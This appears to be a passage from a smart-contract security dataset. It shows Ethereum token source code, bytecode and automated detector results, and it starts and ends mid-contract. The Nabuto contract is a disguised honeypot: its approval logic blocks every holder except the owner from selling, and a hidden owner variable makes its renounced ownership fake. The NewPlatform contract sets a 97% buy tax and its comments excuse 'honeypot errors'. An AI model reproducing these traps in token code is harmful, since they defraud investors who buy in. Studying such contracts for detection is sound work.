_getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461029a578063c3c8cd80146102ba578063c9567bf9146102cf578063dd62ed3e146102e457600080fd5b806370a082311461020d578063715018a61461022d5780638da5cb5b1461024257806395d89b411461026a57600080fd5b806323b872dd116100c657806323b872dd1461019a578063313ce567146101ba5780635932ead1146101d65780636fc3eaec146101f857600080fd5b806306fdde03146100f8578063095ea7b31461014157806318160ddd1461017157600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600e81526d1d1a1a5cd25cd8549d59d41d5b1b60921b60208201525b60405161013891906114dc565b60405180910390f35b34801561014d57600080fd5b5061016161015c366004611448565b61032a565b6040519015158152602001610138565b34801561017d57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610138565b3480156101a657600080fd5b506101616101b5366004611407565b610341565b3480156101c657600080fd5b5060405160098152602001610138565b3480156101e257600080fd5b506101f66101f1366004611474565b6103aa565b005b34801561020457600080fd5b506101f66103fb565b34801561021957600080fd5b5061018c610228366004611394565b610428565b34801561023957600080fd5b506101f661044a565b34801561024e57600080fd5b506000546040516001600160a01b039091168152602001610138565b34801561027657600080fd5b50604080518082019091526007815266149d59d41d5b1b60ca1b602082015261012b565b3480156102a657600080fd5b506101616102b5366004611448565b6104be565b3480156102c657600080fd5b506101f66104cb565b3480156102db57600080fd5b506101f6610501565b3480156102f057600080fd5b5061018c6102ff3660046113ce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103373384846108cf565b5060015b92915050565b600061034e8484846109f3565b6103a0843361039b85604051806060016040528060288152602001611697602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ca6565b6108cf565b5060019392505050565b6000546001600160a01b031633146103dd5760405162461bcd60e51b81526004016103d490611531565b60405180910390fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461041b57600080fd5b4761042581610ce0565b50565b6001600160a01b03811660009081526002602052604081205461033b90610d1a565b6000546001600160a01b031633146104745760405162461bcd60e51b81526004016103d490611531565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103373384846109f3565b600e546001600160a01b0316336001600160a01b0316146104eb57600080fd5b60006104f630610428565b905061042581610d9e565b6000546001600160a01b0316331461052b5760405162461bcd60e51b81526004016103d490611531565b601054600160a01b900460ff16156105855760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d4565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c530826b033b2e3c9fd0803ce80000006108cf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105fe57600080fd5b505afa158015610612573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063691906113b1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561067e57600080fd5b505afa158015610692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b691906113b1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073691906113b1565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061076681610428565b60008061077b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107de57600080fd5b505af11580156107f2573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061081791906114ae565b5050601080546b033b2e3c9fd0803ce800000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611491565b5050565b6001600160a01b0383166109315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d4565b6001600160a01b0382166109925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d4565b6001600160a01b038216610ab95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d4565b60008111610b1b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d4565b6001600160a01b03831660009081526006602052604090205460ff1615610b4157600080fd5b6001600160a01b0383163014610c9657600a54600c55600b54600d556010546001600160a01b038481169116148015610b885750600f546001600160a01b03838116911614155b8015610bad57506001600160a01b03821660009081526005602052604090205460ff16155b8015610bc25750601054600160b81b900460ff165b15610c1f57601154811115610bd657600080fd5b6001600160a01b0382166000908152600760205260409020544211610bfa57600080fd5b610c0542600a6115d7565b6001600160a01b0383166000908152600760205260409020555b6000610c2a30610428565b601054909150600160a81b900460ff16158015610c5557506010546001600160a01b03858116911614155b8015610c6a5750601054600160b01b900460ff165b15610c9457610c7881610d9e565b4767016345785d8a0000811115610c9257610c9247610ce0565b505b505b610ca1838383610f27565b505050565b60008184841115610cca5760405162461bcd60e51b81526004016103d491906114dc565b506000610cd78486611630565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108cb573d6000803e3d6000fd5b6000600854821115610d815760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d4565b6000610d8b610f32565b9050610d978382610f55565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610de657610de661165d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e3a57600080fd5b505afa158015610e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7291906113b1565b81600181518110610e8557610e8561165d565b6001600160a01b039283166020918202929092010152600f54610eab91309116846108cf565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ee4908590600090869030904290600401611566565b600060405180830381600087803b158015610efe57600080fd5b505af1158015610f12573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610ca1838383610f97565b6000806000610f3f61108e565b9092509050610f4e8282610f55565b9250505090565b6000610d9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d6565b600080600080600080610fa987611104565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fdb9087611161565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100a90866111a3565b6001600160a01b03891660009081526002602052604090205561102c81611202565b611036848361124c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107b91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006110ad8282610f55565b8210156110cd575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836110f75760405162461bcd60e51b81526004016103d491906114dc565b506000610cd784866115ef565b60008060008060008060008060006111218a600c54600d54611270565b9250925092506000611131610f32565b905060008060006111448e8787876112c5565b919e509c509a509598509396509194505050505091939550919395565b6000610d9783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ca6565b6000806111b083856115d7565b905083811015610d975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d4565b600061120c610f32565b9050600061121a8383611315565b3060009081526002602052604090205490915061123790826111a3565b30600090815260026020526040902055505050565b6008546112599083611161565b60085560095461126990826111a3565b6009555050565b600080808061128a60646112848989611315565b90610f55565b9050600061129d60646112848a89611315565b905060006112b5826112af8b86611161565b90611161565b9992985090965090945050505050565b60008080806112d48886611315565b905060006112e28887611315565b905060006112f08888611315565b90506000611302826112af8686611161565b939b939a50919850919650505050505050565b6000826113245750600061033b565b60006113308385611611565b90508261133d85836115ef565b14610d975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d4565b6000602082840312156113a657600080fd5b8135610d9781611673565b6000602082840312156113c357600080fd5b8151610d9781611673565b600080604083850312156113e157600080fd5b82356113ec81611673565b915060208301356113fc81611673565b809150509250929050565b60008060006060848603121561141c57600080fd5b833561142781611673565b9250602084013561143781611673565b929592945050506040919091013590565b6000806040838503121561145b57600080fd5b823561146681611673565b946020939093013593505050565b60006020828403121561148657600080fd5b8135610d9781611688565b6000602082840312156114a357600080fd5b8151610d9781611688565b6000806000606084860312156114c357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611509578581018301518582016040015282016114ed565b8181111561151b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115b65784516001600160a01b031683529383019391830191600101611591565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115ea576115ea611647565b500190565b60008261160c57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561162b5761162b611647565b500290565b60008282101561164257611642611647565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461042557600080fd5b801515811461042557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207137bff1c4f012a921904479b212cc49359bb6ae737b362cefa72ca0aeaec73464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,780
0x13d1066fbf8964525bd37bb5921eda5cc1a871f5
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ /* TOKENOMICS Nabuto ($NBT) is created on the Ethereum mainnet with powerful yet sustainable incentive based tokenomics. All buys and sells of Nabuto ($NBT) on Uniswap have a 12% fee. Taxes are going towards marketing, further development and to our automated LP smart contract. Marketing - 5% of every buy and sell transaction goes directly to the marketing wallet to help support our marketing outreach and to spread awareness. Development - 5% of every buy & sell transaction goes directly to the development wallet furthering the expansion of our current and upcoming projects launched exclusively on NabutoPad. Liquidity - 2% of every buy & sell transaction is converted into liquidity. This is automatic and helps to create a stable price floor. Total Supply: 1,000,000,000. Starting Price: TBA Launch Type: Fair / Stealth Initial Liquidity: TBA Tax / Liquidity: 12% Slippage: 13 - 17% http://Nabuto.io https://t.me/NabutoOfficial */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Nabuto is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Nabuto ' ; string private _symbol = 'NBT ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c6705a2cd4265f2eafdb969a6e911518e6e29b3ae156f19abbd39214cc4369b364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,781
0x279c373dfdcce38484f5a27c7dfa4c95d2dc8801
/** *Submitted for verification at Etherscan.io on 2022-03-26 */ /** */ /** NEW PLATFORM COIN Max wallet is 2% so it may return a honeypot error due to the small dollar value transaction at first. Ownership will be renounced and Liquidity will be locked for 30 days Telegram: https://t.me/NewPlatformERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NewPlatform is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NewPlatform"; string private constant _symbol = "NewPlatform"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x91147C78E3577C219E2C0AAd06B5D946E8B2fDd4); address payable private _marketingAddress = payable(0x91147C78E3577C219E2C0AAd06B5D946E8B2fDd4); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public 